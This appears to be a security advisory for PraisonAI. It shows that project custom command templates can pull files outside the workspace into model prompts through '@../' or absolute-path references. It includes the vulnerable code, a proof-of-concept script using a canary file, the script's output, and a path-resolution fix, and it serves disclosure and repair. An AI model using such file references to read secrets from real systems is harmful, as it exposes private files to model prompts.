PraisonAI: Project custom command templates can read outside-workspace files into model prompts

return interpolator.interpolate(command.template, arguments, Path.cwd())

if working_dir:
    file_path = working_dir / file_path_str
else:
    file_path = Path(file_path_str)

if file_path.exists() and file_path.is_file():
    with open(file_path, 'r') as f:
        return f.read()

git clone https://github.com/MervinPraison/PraisonAI.git
cd PraisonAI
git checkout 3aa9cbc2bd49c23a32be0a89a5e620d13d843eab

python3 - "$PWD" <<'PY'
from __future__ import annotations

import importlib.util
import json
import os
import subprocess
import sys
import tempfile
import types
from pathlib import Path


CANARY = "PRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace"


def install_yaml_fallback_if_needed() -> str:
    if importlib.util.find_spec("yaml") is not None:
        return "installed"

    yaml_stub = types.ModuleType("yaml")

    class YAMLError(Exception):
        pass

    def safe_load(text: str):
        data = {}
        for raw_line in text.splitlines():
            line = raw_line.strip()
            if not line or line.startswith("#") or ":" not in line:
                continue
            key, value = line.split(":", 1)
            data[key.strip()] = value.strip().strip("'\"")
        return data

    yaml_stub.safe_load = safe_load
    yaml_stub.YAMLError = YAMLError
    sys.modules["yaml"] = yaml_stub
    return "stubbed"


def add_source_to_path(source_root: Path) -> None:
    candidate = source_root / "src" / "praisonai"
    if (candidate / "praisonai").exists():
        sys.path.insert(0, str(candidate))
        return
    raise SystemExit(f"Could not find PraisonAI sources below {source_root}")


class pushd:
    def __init__(self, path: Path):
        self.path = path
        self.old = Path.cwd()

    def __enter__(self):
        os.chdir(self.path)

    def __exit__(self, *_exc):
        os.chdir(self.old)


def write_command(commands_dir: Path, name: str, body: str) -> None:
    commands_dir.mkdir(parents=True, exist_ok=True)
    (commands_dir / f"{name}.md").write_text(
        "---\n"
        f"description: {name}\n"
        "---\n"
        f"{body}\n",
        encoding="utf-8",
    )


source_root = Path(sys.argv[1]).resolve()
yaml_dependency = install_yaml_fallback_if_needed()
add_source_to_path(source_root)

from praisonai.cli.features.custom_definitions import interpolate_command_template

with tempfile.TemporaryDirectory(prefix="praison-command-pov-") as tmp:
    temp_root = Path(tmp).resolve()
    workspace = temp_root / "workspace"
    workspace.mkdir()
    subprocess.run(["git", "init", "-q"], cwd=workspace, check=True)

    inside = workspace / "inside.txt"
    outside = temp_root / "outside_secret.txt"
    inside.write_text("INSIDE_FILE=allowed\n", encoding="utf-8")
    outside.write_text(f"{CANARY}\n", encoding="utf-8")

    commands_dir = workspace / ".praisonai" / "commands"
    write_command(commands_dir, "relative_escape", "Review outside:\n@../outside_secret.txt")
    write_command(commands_dir, "absolute_escape", f"Review absolute outside:\n@{outside}")
    write_command(commands_dir, "inside_control", "Review inside:\n@inside.txt")
    write_command(commands_dir, "missing_control", "Missing stays literal:\n@missing.txt")
    write_command(commands_dir, "shell_control", "Shell substitution is escaped:\n$(touch SHOULD_NOT_EXIST)")

    with pushd(workspace):
        relative_result = interpolate_command_template("relative_escape", "operator argument")
        absolute_result = interpolate_command_template("absolute_escape", "operator argument")
        inside_result = interpolate_command_template("inside_control", "operator argument")
        missing_result = interpolate_command_template("missing_control", "operator argument")
        shell_result = interpolate_command_template("shell_control", "operator argument")

    result = {
        "vulnerable": all(
            [
                CANARY in (relative_result or ""),
                CANARY in (absolute_result or ""),
                "INSIDE_FILE=allowed" in (inside_result or ""),
                "@missing.txt" in (missing_result or ""),
                not (workspace / "SHOULD_NOT_EXIST").exists(),
            ]
        ),
        "expectations": {
            "relative_parent_traversal_discloses_outside_file": CANARY in (relative_result or ""),
            "absolute_path_discloses_outside_file": CANARY in (absolute_result or ""),
            "inside_control_expands_workspace_file": "INSIDE_FILE=allowed" in (inside_result or ""),
            "missing_control_leaves_missing_reference": "@missing.txt" in (missing_result or ""),
            "shell_control_does_not_create_file": not (workspace / "SHOULD_NOT_EXIST").exists(),
        },
        "samples": {
            "relative_escape": relative_result,
            "absolute_escape": absolute_result,
            "inside_control": inside_result,
            "missing_control": missing_result,
            "shell_control": shell_result,
        },
        "yaml_dependency": yaml_dependency,
    }

print(json.dumps(result, indent=2, sort_keys=True))
raise SystemExit(0 if result["vulnerable"] else 1)
PY

{
  "expectations": {
    "absolute_path_discloses_outside_file": true,
    "inside_control_expands_workspace_file": true,
    "missing_control_leaves_missing_reference": true,
    "relative_parent_traversal_discloses_outside_file": true,
    "shell_control_does_not_create_file": true
  },
  "samples": {
    "absolute_escape": "Review absolute outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
    "inside_control": "Review inside:\nINSIDE_FILE=allowed\n",
    "missing_control": "Missing stays literal:\n@missing.txt",
    "relative_escape": "Review outside:\nPRAISONAI_CUSTOM_COMMAND_CANARY=outside-workspace\n",
    "shell_control": "Shell substitution is escaped:\n\\$(touch SHOULD_NOT_EXIST)"
  },
  "vulnerable": true,
  "yaml_dependency": "installed"
}

def resolve_command_file(root: Path, value: str) -> Path:
    root = root.resolve()
    candidate = Path(value)
    if not candidate.is_absolute():
        candidate = root / candidate
    resolved = candidate.resolve()
    try:
        resolved.relative_to(root)
    except ValueError as exc:
        raise PermissionError(f"command file reference escapes workspace: {value}") from exc
    return resolved